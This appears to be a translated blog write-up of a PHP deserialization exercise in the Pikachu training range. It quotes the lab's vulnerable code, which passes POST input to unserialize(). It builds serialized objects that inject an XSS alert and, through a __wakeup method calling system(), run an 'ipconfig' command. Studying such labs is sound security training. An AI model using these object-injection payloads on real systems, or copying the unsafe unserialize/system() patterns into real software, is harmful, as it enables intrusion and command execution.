Pikachu PHP deserialization

A previous article introduced it in detail Principle of php deserialization No more here

Do some practice in this shooting range

 

 

0x01 source code audit

 

At present, my understanding is that mining deserialization requires knowing the details of the classes, objects and parameters of the interface,

And the magic method.

The call here is relatively simple. Look at the source code

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */


$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "unser.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR.'header.php';


class S{
    var $test = "pikachu";
    function __construct(){
        
        echo $this->test;
        
    }
}


$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>Big brother,Have something strong!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
        
    }

}
?>

 

Chain call analysis

 

Here is the S class. There is only one $test variable in it. The magic method is__ construct, this method is used to

Initializing an object when creating an object is generally used to assign an initial value to a variable.

Then look at the judgment. In short, if we pass in the successful deserialization string s, it will be executed in else and printed out.

if(!@$unser = unserialize($s))   I struggled with this if statement for a long time and didn't understand it.

Later, with the big brother's explanation     This means that the deserialization result 1 is assigned to $unser. If the deserialization is successful, the value will enter else, otherwise enter if, and the following statement attack fails!!

The ps: at symbol (@) is used as an error control operator in PHP. When an expression is appended with the @ symbol, error messages that the expression may generate are ignored.

 

0x02 construction chain

Then we just need to construct the correct serialized string:

<?php
class S{
    var $test = "pikachu";
}
$f = new S();
$payload = "<script>alert(1)</script>";
$f->test=$payload;
echo serialize($f);
?>

Create an object $f according to the S class of the source code. Use this object to call $test in the class and rewrite it as our payload

Then serialize the output

 

  Get the serialization result, we inject it, and the window pops up successfully

payload:O:1:"S":1:{s:4:"test";s:25:"<script>alert(1)</script>";}

 

 

 

 

 

 

0x03 summary and Rethinking

 

As mentioned earlier, the vulnerability is triggered by the statement after else. If the magic method here is__ wakeup is written in the method automatically called after unserialize

function __wakeup(){
    
    system($this->test);
    }

I just want to simulate the deserialization scenario that can execute commands

In this way, it will be triggered when we execute unserialize in the if judgment, and the callback will be triggered__ wakeup, execute the sysytem function inside

Then the code we construct should be:

<?php
class S{
    var $test = "pikachu";
}
$f = new S();
$payload = "ipconfig";
$f->test=$payload;
echo serialize($f);
?>

Serialized results:

O:1:"S":1:{s:4:"test";s:8:"ipconfig";}

At this time, the modified php shooting range is injected and the command is executed:

 

 

 

After learning a little, we still can't worry. Less is more, and slow is fast~~

Keywords: Web Security

Added by MetaDark on Fri, 26 Nov 2021 14:28:40 +0200